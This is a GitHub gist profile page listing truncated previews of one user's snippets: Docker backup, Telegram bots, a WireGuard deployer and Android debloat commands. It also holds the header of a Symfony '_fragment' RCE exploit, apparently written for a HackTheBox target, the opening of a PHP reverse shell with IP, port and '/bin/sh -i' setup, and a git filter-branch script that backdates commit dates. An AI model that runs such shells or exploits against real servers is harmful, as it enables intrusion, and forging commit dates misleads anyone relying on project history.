Skip to content

Instantly share code, notes, and snippets.

View IgorDuino's full-sized avatar
:shipit:
hamster

Igor Kuzmenkov IgorDuino

:shipit:
hamster
View GitHub Profile
@IgorDuino
IgorDuino / docker_backup.sh
Created February 28, 2024 01:52
docker volume backup
CURRENT_DATE=$(date +%Y%m%d)
VOLUME="telegram_reforward_postgres_data"
docker run --rm -v $VOLUME:/data alpine tar czf - -C /data . > "backup_$CURRENT_DATE.tar.gz"
@IgorDuino
IgorDuino / logbot.py
Created January 5, 2024 05:14
Telegram bot is a stub that collects logs by pressing /start for marketing experiments on launching the bot
import logging
import os
import dotenv
import sqlite3
from datetime import datetime
from telegram import ForceReply, Update
from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters
dotenv.load_dotenv()
@IgorDuino
IgorDuino / fragment_rce.py
Created November 15, 2023 13:51
Symfony RCE using _fragment with knowk APP_SECRET
"""
based on: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/symphony
Usage example:
$ python fragment_rce.py http://********.htb ****************************** id
```
Success
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
"""
@IgorDuino
IgorDuino / install-normal-firefox-debian.sh
Created October 29, 2023 17:18
Install normal firefox (not ESR) for Debian / Kali linux
#!/bin/bash
# Prompt for uninstallation of firefox-esr
read -p "Uninstall firefox-esr firstly [Y/n]: " uninstall_response
uninstall_response="${uninstall_response:-Y}"
if [[ $uninstall_response == "Y" || $uninstall_response == "y" ]]; then
sudo apt remove firefox-esr
rm ~/.local/share/applications/firefox-esr.desktop
fi
@IgorDuino
IgorDuino / formatting_messages_bot.py
Last active August 11, 2023 04:01
Отправка форматированых сообщений в канал с кнопкой через бота
import requests
import argparse
import os
import json
def send_message_with_button_and_photo(
chat_id, html_file, button_text, button_url, photo_path=None
):
bot_token = os.environ.get("BOT_TOKEN")
@IgorDuino
IgorDuino / 1970-git-filter.sh
Created July 31, 2023 23:14
Change date of commits
# change <commit_hash> to full hash of selected commit and <branch_name> to active branch
git filter-branch --env-filter \
'if [ $GIT_COMMIT = <commit_hash> ]; then
export GIT_AUTHOR_DATE="1970-01-02T12:00:00"
export GIT_COMMITTER_DATE="1970-01-01T12:00:00"
fi' <branch_name>
# git push -f
@IgorDuino
IgorDuino / deply_wg_easy_on_ubuntu_server.py
Created July 5, 2023 02:45
Automatic deply WireGuard server and create first profile on pure debian-based SSH server
import paramiko
import time
import argparse
import sys
import logging
import requests
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
@IgorDuino
IgorDuino / rev.php
Last active March 1, 2023 11:15
Minimized PHP reverse shell from pentest monkey
<?php
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
set_time_limit (0);
$VERSION = "1.0";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
@IgorDuino
IgorDuino / remove_stock_miui_shit.sh
Last active December 21, 2023 16:56
Remove stock MIUI apps WITHOUT ROOT or BOOTLOADER
adb shell pm uninstall -k --user 0 com.android.browser #Mi Browser
adb shell pm uninstall -k --user 0 com.android.calendar #Calendario
adb shell pm uninstall -k --user 0 com.android.deskclock #Reloj
adb shell pm uninstall -k --user 0 com.android.mms #Mensajes
adb shell pm uninstall -k --user 0 com.facebook.appmanager #Facebook App Manager
adb shell pm uninstall -k --user 0 com.facebook.services #Facebook Services
adb shell pm uninstall -k --user 0 com.facebook.system #Facebook App Installer
adb shell pm uninstall -k --user 0 com.google.android.apps.docs #Google Drive
adb shell pm uninstall -k --user 0 com.google.android.apps.maps #Google Maps
adb shell pm uninstall -k --user 0 com.google.android.apps.photos #Google Photos